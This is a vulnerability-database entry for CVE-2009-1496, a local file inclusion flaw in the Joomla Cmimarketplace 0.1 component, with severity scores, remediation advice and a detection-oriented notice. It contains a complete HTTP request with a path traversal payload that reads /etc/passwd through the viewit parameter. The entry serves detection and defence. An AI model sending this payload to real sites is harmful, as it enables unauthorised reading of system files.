🔙 목록으로 돌아가기

CVE-2009-1496: Joomla! Cmimarketplace 0.1 - Local File Inclusion

TitleJoomla! Cmimarketplace 0.1 - Local File Inclusion
Authordaffainfo
SeverityMedium
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
RemediationApply the latest patch or upgrade to a newer version of Joomla! Cmimarketplace to mitigate the vulnerability.
CVSS Score5
EPSS Score0.01909
CVE IDCVE-2009-1496
CWE IDCWE-22
Tags cve2009 cve joomla lfi edb vuln

🔍 Vulnerability Description

Joomla! Cmimarketplace 0.1 is susceptible to local file inclusion because com_cmimarketplace allows remote attackers to list arbitrary directories via a .. (dot dot) in the viewit parameter to index.php.

🌐 HTTP Request

GET /index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../../../../../etc/passwd&cid=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2009/CVE-2009-1496.yaml

🦈 Packet Capture: ⬇️ Download cve-2009-1496.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A